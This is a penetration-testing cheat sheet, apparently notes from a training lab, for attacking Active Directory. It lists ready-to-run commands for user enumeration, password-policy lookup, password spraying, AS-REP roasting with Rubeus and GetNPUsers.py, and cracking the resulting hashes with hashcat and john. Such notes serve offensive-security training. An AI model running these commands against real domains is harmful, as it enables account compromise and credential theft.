With Username

Get the password policy

You need credentials for getting the password policy, but you should get the policy before starting a password spraying

crackmapexec

cme <ip> -u "user" -p "password" --pass-pol

enum4linux

enum4linux -u "user" -p "password" -P <ip>

rpcclient

rpcclient -U "" -N IP

rpcclient $> getdompwinfo

ldapsearch

ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

PowerView

import-module .\PowerView.ps1
Get-DomainPolicy

Making a Target User List

enum4linux

enum4linux -U 172.16.5.5  | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"

rpcclient

rpcclient -U "" -N 172.16.5.5

crackmapexec

cme smb 172.16.5.5 --users

sudo cme smb 172.16.5.5 -u user -p password --users

ldapsearch

ldapsearch -h 172.16.5.5 -x -b "DC=domain,DC=LOCAL" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "

windapsearch

./windapsearch.py --dc-ip IP -u "" -U

kerbrute

kerbrute userenum -d domain --dc IP wordlist.txt 

Password Spraying

crackmapexec

sudo cme smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +

kerbrute

kerbrute passwordspray -d domain --dc DCIP valid_users.txt Password

sprayhound

sprayhound -U <users.txt> -d <domain> -dc <dc-ip>

rpcclient

for u in $(cat valid_users.txt);do rpcclient -U "$u%<password>" -c "getusername;quit" <dc-ip>| grep Authority; done

Windows

Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Password -OutFile spray_success -ErrorAction SilentlyContinue

ASREPRoast

Step 1

Identify vulnerable account with enabled "Do not require preauthentication" option.

Kerbrute

kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt 

PowerView

Get-DomainUser -PreauthNotRequired -Properties SamAccountName

Step 2

Exploit AS-REP Roasting to extract password hashes.

Rubeus.exe

.\Rubeus.exe asreproast /user:username /format:hashcat /outfile:hash.txt

Get-NPUsers.py

GetNPUsers.py domain/username -dc-ip <ip>-request

GetNPUsers.py domain/ -usersfile users.txt -dc-ip <ip> -format hashcat -request

Step 3

Crack hashes for plaintext passwords.

john

.\john.exe hash.txt --format=krb5asrep -wordlist=wordlist

hashcat

hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt 

If we found a hash and we want to crack them:

Hash Cracking